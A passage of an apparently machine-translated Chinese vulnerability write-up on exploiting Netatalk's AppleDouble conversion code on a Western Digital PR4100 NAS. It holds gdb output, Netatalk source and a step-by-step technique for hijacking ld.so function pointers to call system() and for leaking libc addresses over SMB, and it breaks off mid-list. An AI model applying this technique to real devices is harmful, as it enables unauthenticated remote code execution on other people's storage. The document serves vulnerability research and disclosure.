ADEID_RFORK));\n<\/pre>\n\n\n\n<p>\u60f3\u5230\u7684\u4e0b\u4e00\u4e2a\u95ee\u9898\u662f\u5185\u5b58\u6620\u5c04\u6620\u5c04\u5230\u54ea\u91cc\uff1f<\/p>\n\n\n\n<p>\u901a\u8fc7\u6d4b\u8bd5\u53d1\u73b0\uff0c\u5982\u679cfork\u6587\u4ef6\u5c0f\u4e8e0x1000\u5b57\u8282\uff0c\u5219\u6620\u5c04\u6587\u4ef6\u5206\u914d\u5728\u4e4b\u524d\u76f8\u5f53\u9ad8\u7684\u5730\u5740<code>uams_pam.so<\/code>\uff0c<code>uams_guest.so<\/code>\u548c<code>ld-2.28.so<\/code>mappings.&nbsp;\u66f4\u51c6\u786e\u5730\u8bf4\uff0c<code>ld-2.28.so<\/code>\u6620\u5c04\u603b\u662f\u5728\u6620\u5c04\u6587\u4ef6\u5f00\u59cb\u4e4b\u540e\u7684 0xC000 \u5b57\u8282\uff0c\u5373\u4f7f ASLR \u5230\u4f4d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>(gdb) info proc mappings \nprocess 26343\nMapped address spaces:\n\n          Start Addr           End Addr       Size     Offset objfile\n      0x5579bb534000     0x5579bb53d000     0x9000        0x0 \/usr\/local\/modules\/usr\/sbin\/afpd\n      0x5579bb53d000     0x5579bb571000    0x34000     0x9000 \/usr\/local\/modules\/usr\/sbin\/afpd\n      0x5579bb571000     0x5579bb57c000     0xb000    0x3d000 \/usr\/local\/modules\/usr\/sbin\/afpd\n      0x5579bb57c000     0x5579bb57d000     0x1000    0x47000 \/usr\/local\/modules\/usr\/sbin\/afpd\n      0x5579bb57d000     0x5579bb580000     0x3000    0x48000 \/usr\/local\/modules\/usr\/sbin\/afpd\n      0x5579bb580000     0x5579bb5a0000    0x20000        0x0 \n      0x5579bcd51000     0x5579bcd72000    0x21000        0x0 &#91;heap]\n      0x5579bcd72000     0x5579bcd92000    0x20000        0x0 &#91;heap]\n      0x7f6c56e30000     0x7f6c56eb0000    0x80000        0x0 \n      ...\n      0x7f6c57e02000     0x7f6c57e24000    0x22000        0x0 \/lib\/libc-2.28.so\n      0x7f6c57e24000     0x7f6c57f6c000   0x148000    0x22000 \/lib\/libc-2.28.so\n      0x7f6c57f6c000     0x7f6c57fb8000    0x4c000   0x16a000 \/lib\/libc-2.28.so\n      0x7f6c57fb8000     0x7f6c57fb9000     0x1000   0x1b6000 \/lib\/libc-2.28.so\n      0x7f6c57fb9000     0x7f6c57fbd000     0x4000   0x1b6000 \/lib\/libc-2.28.so\n      0x7f6c57fbd000     0x7f6c57fbf000     0x2000   0x1ba000 \/lib\/libc-2.28.so\n      ...\n      0x7f6c58129000     0x7f6c58134000     0xb000        0x0 \/usr\/local\/modules\/lib\/libatalk.so.18.0.0\n      0x7f6c58134000     0x7f6c58177000    0x43000     0xb000 \/usr\/local\/modules\/lib\/libatalk.so.18.0.0\n      0x7f6c58177000     0x7f6c58191000    0x1a000    0x4e000 \/usr\/local\/modules\/lib\/libatalk.so.18.0.0\n      0x7f6c58191000     0x7f6c58192000     0x1000    0x67000 \/usr\/local\/modules\/lib\/libatalk.so.18.0.0\n      0x7f6c58192000     0x7f6c58194000     0x2000    0x68000 \/usr\/local\/modules\/lib\/libatalk.so.18.0.0\n      0x7f6c58194000     0x7f6c581b1000    0x1d000        0x0 \n      0x7f6c581b2000     0x7f6c581b3000     0x1000        0x0 \/mnt\/HD\/HD_a2\/Public\/edg\/._mooncake\n      0x7f6c581b3000     0x7f6c581b4000     0x1000        0x0 \/usr\/local\/modules\/lib\/netatalk\/uams_pam.so\n      0x7f6c581b4000     0x7f6c581b6000     0x2000     0x1000 \/usr\/local\/modules\/lib\/netatalk\/uams_pam.so\n      0x7f6c581b6000     0x7f6c581b7000     0x1000     0x3000 \/usr\/local\/modules\/lib\/netatalk\/uams_pam.so\n      0x7f6c581b7000     0x7f6c581b8000     0x1000     0x3000 \/usr\/local\/modules\/lib\/netatalk\/uams_pam.so\n      0x7f6c581b8000     0x7f6c581b9000     0x1000     0x4000 \/usr\/local\/modules\/lib\/netatalk\/uams_pam.so\n      0x7f6c581b9000     0x7f6c581ba000     0x1000        0x0 \/usr\/local\/modules\/lib\/netatalk\/uams_guest.so\n      0x7f6c581ba000     0x7f6c581bb000     0x1000     0x1000 \/usr\/local\/modules\/lib\/netatalk\/uams_guest.so\n      0x7f6c581bb000     0x7f6c581bc000     0x1000     0x2000 \/usr\/local\/modules\/lib\/netatalk\/uams_guest.so\n      0x7f6c581bc000     0x7f6c581bd000     0x1000     0x2000 \/usr\/local\/modules\/lib\/netatalk\/uams_guest.so\n      0x7f6c581bd000     0x7f6c581be000     0x1000     0x3000 \/usr\/local\/modules\/lib\/netatalk\/uams_guest.so\n      0x7f6c581be000     0x7f6c581bf000     0x1000        0x0 \/lib\/ld-2.28.so\n      0x7f6c581bf000     0x7f6c581dd000    0x1e000     0x1000 \/lib\/ld-2.28.so\n      0x7f6c581dd000     0x7f6c581e5000     0x8000    0x1f000 \/lib\/ld-2.28.so\n      0x7f6c581e5000     0x7f6c581e6000     0x1000    0x26000 \/lib\/ld-2.28.so\n      0x7f6c581e6000     0x7f6c581e7000     0x1000    0x27000 \/lib\/ld-2.28.so\n      0x7f6c581e7000     0x7f6c581e8000     0x1000        0x0 \n      0x7ffe86f2b000     0x7ffe86f71000    0x46000        0x0 &#91;stack]\n      0x7ffe86fb7000     0x7ffe86fba000     0x3000        0x0 &#91;vvar]\n      0x7ffe86fba000     0x7ffe86fbc000     0x2000        0x0 &#91;vdso]\n  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 &#91;vsyscall]<\/code><\/pre>\n\n\n\n<p>\u8fd9\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528<code>memmove()<\/code>\u8986\u76d6\u4e0a\u8ff0\u5e93\u4e4b\u4e00\u4e2d\u7684\u4e00\u4e9b\u6570\u636e\u3002\u4f46\u662f\u8981\u5b9a\u4f4d\u4ec0\u4e48\u5e93\uff1f<\/p>\n\n\n\n<p>\u5728\u8c03\u8bd5\u65f6\uff0c\u6211\u4eec\u6ce8\u610f\u5230\u5f53\u53d1\u751f\u5d29\u6e83\u65f6\uff0c\u5982\u679c\u6211\u4eec\u7ee7\u7eed\u6267\u884c\uff0cNetatalk \u4e2d\u7684\u4e00\u4e2a\u7279\u6b8a\u5f02\u5e38\u5904\u7406\u7a0b\u5e8f\u4f1a\u6355\u83b7\u8be5\u5f02\u5e38\u6765\u5904\u7406\u5b83\u3002<\/p>\n\n\n\n<p>\u66f4\u5177\u4f53\u5730\u8bf4\uff0c\u6211\u4eec\u8986\u76d6\u4e86\u6574\u4e2a<code>ld-2.28.so<\/code>&nbsp;<code>.data<\/code>\u90e8\u5206\u5e76\u6700\u7ec8\u5bfc\u81f4\u4ee5\u4e0b\u5d29\u6e83\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>(remote-gdb) bt\n#0  0x00007f423de3eb50 in _dl_open (file=0x7f423dbf0e86 \"libgcc_s.so.1\", mode=-2147483646, caller_dlopen=0x7f423db771c5 &lt;init+21&gt;, nsid=-2, argc=4, argv=0x7fffa4967cf8, env=0x7fffa4967d20) at dl-open.c:548\n#1  0x00007f423dba406d in do_dlopen (Reading in symbols for dl-error.c...done.\nptr=ptr@entry=0x7fffa4966170) at dl-libc.c:96\n#2  0x00007f423dba4b2f in __GI__dl_catch_exception (exception=exception@entry=0x7fffa49660f0, operate=operate@entry=0x7f423dba4030 &lt;do_dlopen&gt;, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:196\n#3  0x00007f423dba4bbf in __GI__dl_catch_error (objname=objname@entry=0x7fffa4966148, errstring=errstring@entry=0x7fffa4966150, mallocedp=mallocedp@entry=0x7fffa4966147, operate=operate@entry=0x7f423dba4030 &lt;do_dlopen&gt;, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:215\n#4  0x00007f423dba4147 in dlerror_run (operate=operate@entry=0x7f423dba4030 &lt;do_dlopen&gt;, args=args@entry=0x7fffa4966170) at dl-libc.c:46\n#5  0x00007f423dba41d6 in __GI___libc_dlopen_mode (name=name@entry=0x7f423dbf0e86 \"libgcc_s.so.1\", mode=mode@entry=-2147483646) at dl-libc.c:195\n#6  0x00007f423db771c5 in init () at backtrace.c:53\nReading in symbols for pthread_once.c...done.\n#7  0x00007f423dc40997 in __pthread_once_slow (once_control=0x7f423dc2ef80 &lt;once&gt;, init_routine=0x7f423db771b0 &lt;init&gt;) at pthread_once.c:116\n#8  0x00007f423db77304 in __GI___backtrace (array=&lt;optimised out&gt;, size=&lt;optimised out&gt;) at backtrace.c:106\n#9  0x00007f423ddcd6db in netatalk_panic () from symbols\/lib64\/libatalk.so.18\n#10 0x00007f423ddcd902 in ?? () from symbols\/lib64\/libatalk.so.18\n#11 0x00007f423ddcd958 in ?? () from symbols\/lib64\/libatalk.so.18\nReading in symbols for ..\/sysdeps\/unix\/sysv\/linux\/x86_64\/sigaction.c...done.\n#12 &lt;signal handler called&gt;\n#13 __memmove_sse2_unaligned_erms () at ..\/sysdeps\/x86_64\/multiarch\/memmove-vec-unaligned-erms.S:238\n#14 0x00007f423dda6fd0 in ad_rebuild_adouble_header_osx () from symbols\/lib64\/libatalk.so.18\n#15 0x00007f423ddaa985 in ?? () from symbols\/lib64\/libatalk.so.18\n#16 0x00007f423ddaaf34 in ?? () from symbols\/lib64\/libatalk.so.18\n#17 0x00007f423ddad7b0 in ?? () from symbols\/lib64\/libatalk.so.18\n#18 0x00007f423ddad9e1 in ?? () from symbols\/lib64\/libatalk.so.18\n#19 0x00007f423ddae56c in ad_open () from symbols\/lib64\/libatalk.so.18\n#20 0x000055cd275c1ea7 in afp_openfork ()\n#21 0x000055cd275a386e in afp_over_dsi ()\n#22 0x000055cd275c6ba3 in ?? ()\n#23 0x000055cd275c68fd in main ()<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5b83<code>call<\/code>\u5728\u6211\u4eec\u63a7\u5236\u7b2c\u4e00\u4e2a\u53c2\u6570\u548c\u53c2\u6570\u7684\u6307\u4ee4\u4e0a\u5d29\u6e83\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>(remote-gdb) x \/i $pc\n=&gt; 0x7f423de3eb50 &lt;_dl_open+48&gt;:\tcall   QWORD PTR &#91;rip+0x16412]        # 0x7f423de54f68 &lt;_rtld_global+3848&gt;\n(remote-gdb) x \/gx 0x7f423de54f68\n0x7f423de54f68 &lt;_rtld_global+3848&gt;:\t0x4242424242424242\n(remote-gdb) x \/s $rdi\n0x7f423de54968 &lt;_rtld_global+2312&gt;:\t'A' &lt;repeats 35 times&gt;<\/code><\/pre>\n\n\n\n<p>\u5728 IDA \u4e2d\u68c0\u67e5<code>ld-2.28.so<\/code>\uff0c\u6211\u4eec\u770b\u5230\u8fd9\u662f\u7531\u4e8e<code>dl_open()<\/code>\u8c03\u7528\u4e86<code>_dl_rtld_lock_recursive<\/code>\u51fd\u6570\u6307\u9488\u5e76\u5c06\u6307\u9488\u4f20\u9012\u7ed9\u4e86<code>_dl_load_lock<\/code>\u9501\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">void *__fastcall dl_open(\n        const char *file,\n        int mode,\n        const void *caller_dlopen,\n        Lmid_t nsid,\n        int argc,\n        char **argv,\n        char **env)\n{\n  \/\/ [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-\"+\" TO EXPAND]\n\n  if ( (mode &amp; 3) == 0 )\n    _dl_signal_error(0x16, file, 0LL, \"invalid mode for dlopen()\");\n  rtld_local._dl_rtld_lock_recursive(&amp;rtld_local._dl_load_lock);<\/pre>\n\n\n\n<p>\u51fd\u6570\u6307\u9488\u548c lock \u53c2\u6570\u90fd\u662f\u8be5\u90e8\u5206\u4e2d<code>_rtld_local<\/code>\u5168\u5c40\u7684<code>.data<\/code>\u4e00\u90e8\u5206\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.data:0000000000028060 ; rtld_global rtld_local\n.data:0000000000028060 _rtld_local     dq 0  <\/code><\/pre>\n\n\n\n<p>\u8fd9\u4f7f\u5f97\u5f53\u6211\u4eec\u80fd\u591f\u8986\u76d6\u8be5<code>ld.so<\/code>&nbsp;<code>.data<\/code>\u90e8\u5206\u65f6\uff0c\u4f7f\u7528\u4e00\u4e2a\u53c2\u6570\u8c03\u7528\u4efb\u610f\u51fd\u6570\u662f\u4e00\u79cd\u975e\u5e38\u901a\u7528\u7684\u65b9\u6cd5\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/dangokyo.me\/2018\/01\/20\/extra-exploitation-technique-1-_dl_open\/\">\u6ce8\u610f\uff1a\u8fd9\u91cc<\/a>\u6709\u4e00\u4e2a\u7c7b\u4f3c\u7684\u6280\u672f\uff08\u867d\u7136\u6709\u70b9\u4e0d\u540c\uff09\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u7684\u76ee\u6807\u662f\u901a\u8fc7\u8986\u76d6\u9501\u4ee5\u5305\u542b\u8981\u6267\u884c\u7684 shell \u547d\u4ee4\u5e76\u7528\u5730\u5740\u8986\u76d6\u51fd\u6570\u6307\u9488\u6765\u6267\u884c\u4efb\u610f\u547d\u4ee4<code>system()<\/code>\u3002<\/p>\n\n\n\n<p>\u5e78\u8fd0\u7684\u662f\uff0c\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u6211\u4eec\u5df2\u7ecf\u5c06\u63a7\u5236\u6570\u636e\u4f20\u9012\u7ed9<code>system()<\/code>\u51fd\u6570\uff0c\u6240\u4ee5\u6211\u4eec\u4e0d\u9700\u8981\u77e5\u9053\u5b83\u5728\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u3002\u4f46\u662f\uff0c\u7531\u4e8e ASLR\uff0c\u6211\u4eec\u4e0d\u77e5\u9053<code>system()<\/code>\u51fd\u6570\u5728\u54ea\u91cc\u3002\u6240\u4ee5\u6211\u4eec\u9700\u8981\u67d0\u79cd\u6cc4\u6f0f\u539f\u8bed\u6765\u7ed5\u8fc7 ASLR\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6784\u5efa\u6cc4\u6f0f\u539f\u8bed<\/h2>\n\n\n\n<p>\u5982\u679c\u6211\u4eec\u518d\u6b21\u67e5\u770b\u4e4b\u524d\u7684\u56de\u6eaf\uff0c\u6211\u4eec\u4f1a\u53d1\u73b0\u5b83\u5b9e\u9645\u4e0a\u662f\u5728<code>ad_rebuild_adouble_header_osx()<\/code>.&nbsp;\u66f4\u5177\u4f53\u5730\u8bf4\uff0c\u6211\u4eec\u770b\u5230\u4ee5\u4e0b\u60c5\u51b5\u53d1\u751f\u5728<code>ad_convert_osx()<\/code>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u539f\u59cb AppleDouble \u6587\u4ef6\u5728\u5185\u5b58\u4e2d\u6620\u5c04\u4e3a<code>mmap()<\/code><\/li><li>\u524d\u9762\u8ba8\u8bba<code>memmove()<\/code>\u7684\u88ab\u8c03\u7528\u6765\u4e22\u5f03 FinderInfo \u90e8\u5206<\/li><li><code>ad_rebuild_adouble_header_osx()<\/code>\u53eb\u505a<\/li><li>\u6620\u5c04\u7684\u6587\u4ef6\u672a\u6620\u5c04<code>munmap()<\/code><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_open.c\n\/**\n * Convert from Apple's ._ file to Netatalk\n *\n * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes\n * containing packed xattrs. Netatalk can't deal with that, so we\n * simply discard the packed xattrs.\n *\n * As we call ad_open() which might result in a recursion, just to be sure\n * use static variable in_conversion to check for that.\n *\n * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise\n **\/\nstatic int ad_convert_osx(const char *path, struct adouble *ad)\n{\n    EC_INIT;\n    static bool in_conversion = false;\n    char *map;\n    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);\n    ssize_t origlen;\n\n    if (in_conversion || finderlen == ADEDLEN_FINDERI)\n        return 0;\n    in_conversion = true;\n\n    LOG(log_debug, logtype_ad, \"Converting OS X AppleDouble %s, FinderInfo length: %d\",\n        fullpathname(path), finderlen);\n\n    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);\n\n    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);\n    if (map == MAP_FAILED) {\n        LOG(log_error, logtype_ad, \"mmap AppleDouble: %s\\n\", strerror(errno));\n        EC_FAIL;\n    }\n\n    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,\n            map + ad_getentryoff(ad, ADEID_RFORK),\n            ad_getentrylen(ad, ADEID_RFORK));\n\n    ad_setentrylen(ad, ADEID_FINDERI, ADEDLEN_FINDERI);\n    ad-&gt;ad_rlen = ad_getentrylen(ad, ADEID_RFORK);\n    ad_setentryoff(ad, ADEID_RFORK, ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI);\n\n    EC_ZERO_LOG( ftruncate(ad_reso_fileno(ad),\n                           ad_getentryoff(ad, ADEID_RFORK)\n                           + ad_getentrylen(ad, ADEID_RFORK)) );\n\n    (void)ad_rebuild_adouble_header_osx(ad, map);\n    munmap(map, origlen);<\/pre>\n\n\n\n<p><code>ad_rebuild_adouble_header_osx()<\/code>\u529f\u80fd\u5982\u4e0b\u56fe\u3002\u6b64\u51fd\u6570\u8d1f\u8d23\u5c06<code>adouble<\/code>\u7ed3\u6784\u7684\u5185\u5bb9\u4ee5 AppleDouble \u683c\u5f0f\u5199\u56de\u6620\u5c04\u7684\u6587\u4ef6\u533a\u57df\uff0c\u4ee5\u4fbf\u5c06\u5176\u4fdd\u5b58\u5230\u78c1\u76d8\u4e0a\u7684\u6587\u4ef6\u4e2d\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_flush.c\n\/*!\n * Prepare adbuf buffer from struct adouble for writing on disk\n *\/\nint ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf)\n{\n    uint32_t       temp;\n    uint16_t       nent;\n    char           *buf;\n\n    LOG(log_debug, logtype_ad, \"ad_rebuild_adouble_header_osx\");\n\n    buf = &amp;adbuf[0];\n\n    temp = htonl( ad-&gt;ad_magic );\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    temp = htonl( ad-&gt;ad_version );\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    memcpy(buf, AD_FILLER_NETATALK, strlen(AD_FILLER_NETATALK));\n    buf += sizeof( ad-&gt;ad_filler );\n\n    nent = htons(ADEID_NUM_OSX);\n    memcpy(buf, &amp;nent, sizeof( nent ));\n    buf += sizeof( nent );\n\n    \/* FinderInfo *\/\n    temp = htonl(EID_DISK(ADEID_FINDERI));\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    temp = htonl(ADEDOFF_FINDERI_OSX);\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    temp = htonl(ADEDLEN_FINDERI);\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);\n\n    \/* rfork *\/\n    temp = htonl( EID_DISK(ADEID_RFORK) );\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    temp = htonl(ADEDOFF_RFORK_OSX);\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    temp = htonl( ad-&gt;ad_rlen);\n    memcpy(buf, &amp;temp, sizeof( temp ));\n    buf += sizeof( temp );\n\n    return AD_DATASZ_OSX;\n}<\/pre>\n\n\n\n<p>\u4f46\u662f\u5982\u679c\u6211\u4eec\u67e5\u770b<code>memcpy()<\/code>\u8c03\u8bd5\u5668\u4e2d\u7684\u53c2\u6570\uff0c\u6211\u4eec\u4f1a\u6ce8\u610f\u5230\u6e90\u53c2\u6570\u5b9e\u9645\u4e0a\u662f\u4ece\u5806\u6808\u4e2d\u5f15\u7528\u7684\u5e76\u4e14\u8d85\u51fa\u8303\u56f4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>memcpy(0x7f423de20032, 0x7fffa499bbba, 32)<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>(gdb) info proc mappings \n...\n          Start Addr           End Addr       Size     Offset objfile\n      0x7fffa4923000     0x7fffa4969000    0x46000        0x0 &#91;stack]\n      0x7fffa49f9000     0x7fffa49fc000     0x3000        0x0 &#91;vvar]\n      0x7fffa49fc000     0x7fffa49fe000     0x2000        0x0 &#91;vdso]\n  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 &#91;vsyscall]<\/code><\/pre>\n\n\n\n<p>\u5982\u679c\u60a8\u67e5\u770b<code>ad_header_read_osx()<\/code>\u524d\u9762\u63d0\u5230\u7684\u4ee3\u7801\uff0c\u60a8\u4f1a\u6ce8\u610f\u5230\u5b83\u5df2\u88ab\u786e\u8ba4\uff0c\u56e0\u4e3a\u6709\u4e00\u4e2a<code>struct adouble adosx;<\/code>\u5c40\u90e8\u53d8\u91cf\uff08\u56e0\u6b64\u5b58\u50a8\u5728\u5806\u6808\u4e2d\uff09\u4e00\u76f4\u4f20\u9012\u5230<code>ad_rebuild_adouble_header_osx()<\/code>.<\/p>\n\n\n\n<p>\u90a3\u4e48\u8fd9\u662f\u4ec0\u4e48\u610f\u601d\u5462\uff1f\u597d\u5427\uff0c<code>memcpy()<\/code>\u4ece\u5806\u6808\u63a7\u5236\u7684\u504f\u79fb\u91cf\u5c06 32 \u4e2a\u5b57\u8282\u5199\u5165\u5185\u5b58\u6620\u5c04\u6587\u4ef6\u533a\u57df\u3002\u8fd9\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u8ba9\u5b83\u5c06\u4efb\u610f\u5185\u5b58\u5199\u56de\u78c1\u76d8\u4e0a\u7684\u6587\u4ef6\u4e2d\u3002\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 SMB \u8bfb\u53d6 fork \u6587\u4ef6\uff08\u4ee5 AppleDouble \u6587\u4ef6\u683c\u5f0f\u5b58\u50a8\uff09\uff0c\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5c06\u8be5\u5185\u5bb9\u6cc4\u9732\u7ed9\u6211\u4eec\u3002<\/p>\n\n\n\n<p>\u5f88\u597d\uff0c\u4f46\u662f<code>libc.so<\/code>\u5806\u6808\u4e2d\u662f\u5426\u5b58\u50a8\u4e86\u4efb\u4f55\u5730\u5740\uff0c\u56e0\u4e3a\u6211\u4eec\u8981\u8c03\u7528<code>system()<\/code>\u9a7b\u7559\u5728\u5176\u4e2d\u7684\u5730\u5740<code>libc.so<\/code>\uff1f<\/p>\n\n\n\n<p>\u4e8b\u5b9e\u8bc1\u660e\uff0c\u6709\u4e00\u4e2a\u8fd9\u6837\u7684\u5730\u5740\uff0c\u56e0\u4e3a<code>main()<\/code>\u5b83\u662f\u4ece\u4ee5\u4e0b\u4f4d\u7f6e\u8c03\u7528\u7684<code>__libc_start_main()<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:0000000000023FB0 __libc_start_main proc near \n...\n.text:0000000000024099                 call    rax             ; main()\n.text:000000000002409B\n.text:000000000002409B loc_2409B:                              ; CODE XREF: __libc_start_main+15A\u2193j\n.text:000000000002409B                 mov     edi, eax\n.text:000000000002409D                 call    __GI_exit<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Wrapping up(\u5305\u8d77\u6765)<\/h1>\n\n\n\n<p>\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5728\u897f\u90e8\u6570\u636e PR4100 \u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u5728 AFP \u548c SMB \u4e2d\u8bfb\u53d6\u548c\u5199\u5165\u6587\u4ef6\uff0c\u800c\u65e0\u9700\u8eab\u4efd\u9a8c\u8bc1\uff0c\u53ea\u8981\u6211\u4eec\u5728<code>Public<\/code>\u5171\u4eab\u4e0a\u8fdb\u884c\u5373\u53ef\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u8fd8\u77e5\u9053\uff0c\u4ece\u7236\u8fdb\u7a0b<code>afpd<\/code>\u6d3e\u751f\u51fa\u4e00\u4e2a\u5b50\u8fdb\u7a0b\u6765\u5904\u7406\u6bcf\u4e2a\u5ba2\u6237\u7aef\u8fde\u63a5\u3002<code>afpd<\/code>\u8fd9\u610f\u5473\u7740\u6bcf\u4e2a\u5b50\u8fdb\u7a0b\u5bf9\u6240\u6709\u5df2\u52a0\u8f7d\u7684\u5e93\u90fd\u6709\u76f8\u540c\u7684\u968f\u673a\u5316\u3002<\/p>\n\n\n\n<p>\u8981\u89e6\u53d1\u8be5\u6f0f\u6d1e\uff0c\u6211\u4eec\u9700\u8981<code>mooncake<\/code>\u5b58\u5728\u4e00\u4e2a\u5e38\u89c4\u6587\u4ef6\uff0c\u4ee5\u53ca<code>._mooncake<\/code>\u5728\u540c\u4e00\u76ee\u5f55\u4e2d\u7cbe\u5fc3\u5236\u4f5c\u7684\u5173\u8054 fork \u6587\u4ef6\u3002\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5728\u6587\u4ef6\u4e0a\u901a\u8fc7 AFP \u8c03\u7528\u201cFPOpenFork\u201d\u547d\u4ee4<code>mooncake<\/code>\u5e76\u89e3\u6790<code>._mooncake<\/code>fork \u6587\u4ef6\uff08\u4ee5 AppleDouble \u6587\u4ef6\u683c\u5f0f\u5b58\u50a8\uff09\u3002\u5b83\u6700\u7ec8\u8c03\u7528\u4e86<code>ad_convert_osx()<\/code>\u8d1f\u8d23\u5c06 Apple \u7684 AppleDouble \u6587\u4ef6\u8f6c\u6362\u4e3a Netatalk \u4e2d\u5b9e\u73b0\u7684\u7b80\u5316\u7248\u672c\u7684\u51fd\u6570\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u9996\u5148\u4ece\u521b\u5efa<code>mooncake<\/code>\u6587\u4ef6\u5f00\u59cb\u3002\u6211\u4eec\u4f7f\u7528 AFP \u6765\u5b8c\u6210\uff0c\u4f46\u6211\u4eec\u8ba4\u4e3a\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528 SMB \u6765\u5b8c\u6210\u3002\u7136\u540e\u6211\u4eec\u8981\u89e6\u53d1\u6f0f\u6d1e\u4e24\u6b21\u3002<\/p>\n\n\n\n<p>\u7b2c\u4e00\u6b21\uff0c\u6211\u4eec\u5236\u4f5c\u4e86<code>._mooncake<\/code>fork \u6587\u4ef6\u6765\u6ee5\u7528<code>memcpy()<\/code>in&nbsp;<code>ad_rebuild_adouble_header_osx()<\/code>.&nbsp;\u89e6\u53d1\u6f0f\u6d1e\u65f6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u539f\u59cb\u7684<code>._mooncake<\/code>fork \u6587\u4ef6\u5728\u5185\u5b58\u4e2d\u6620\u5c04\u4e3a<code>mmap()<\/code><\/li><li>\u8be5<code>memcpy()<\/code>\u51fd\u6570\u5c06\u8fd4\u56de\u5730\u5740\u5199\u5165<code>__libc_start_main()<\/code>\u6620\u5c04\u533a\u57df<\/li><li>\u8c03\u7528\u8be5<code>munmap()<\/code>\u51fd\u6570\u5e76\u5c06\u6570\u636e\u4fdd\u5b58\u5230<code>._mooncake<\/code>\u78c1\u76d8\u4e0a\u7684 fork \u6587\u4ef6\u4e2d\u3002<\/li><li>\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7 SMB \u8bfb\u53d6 fork \u6587\u4ef6\u5c06\u6570\u636e\u6cc4\u9732\u7ed9\u6211\u4eec<code>._mooncake<\/code>\uff08\u5c31\u597d\u50cf\u5b83\u662f\u4e00\u4e2a\u666e\u901a\u6587\u4ef6\u4e00\u6837\uff09<\/li><\/ul>\n\n\n\n<p>\u8fd9\u5141\u8bb8\u63a8\u65ad<code>libc.so<\/code>\u57fa\u5730\u5740\u5e76\u8ba1\u7b97<code>system()<\/code>\u5730\u5740\u3002<\/p>\n\n\n\n<p>\u7b2c\u4e8c\u6b21\uff0c\u6211\u4eec\u5236\u4f5c\u4e86<code>._mooncake<\/code>fork \u6587\u4ef6\u6765\u6ee5\u7528<code>memmove()<\/code>in&nbsp;<code>ad_convert_osx()<\/code>.&nbsp;\u89e6\u53d1\u6f0f\u6d1e\u65f6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u539f\u59cb\u7684<code>._mooncake<\/code>fork 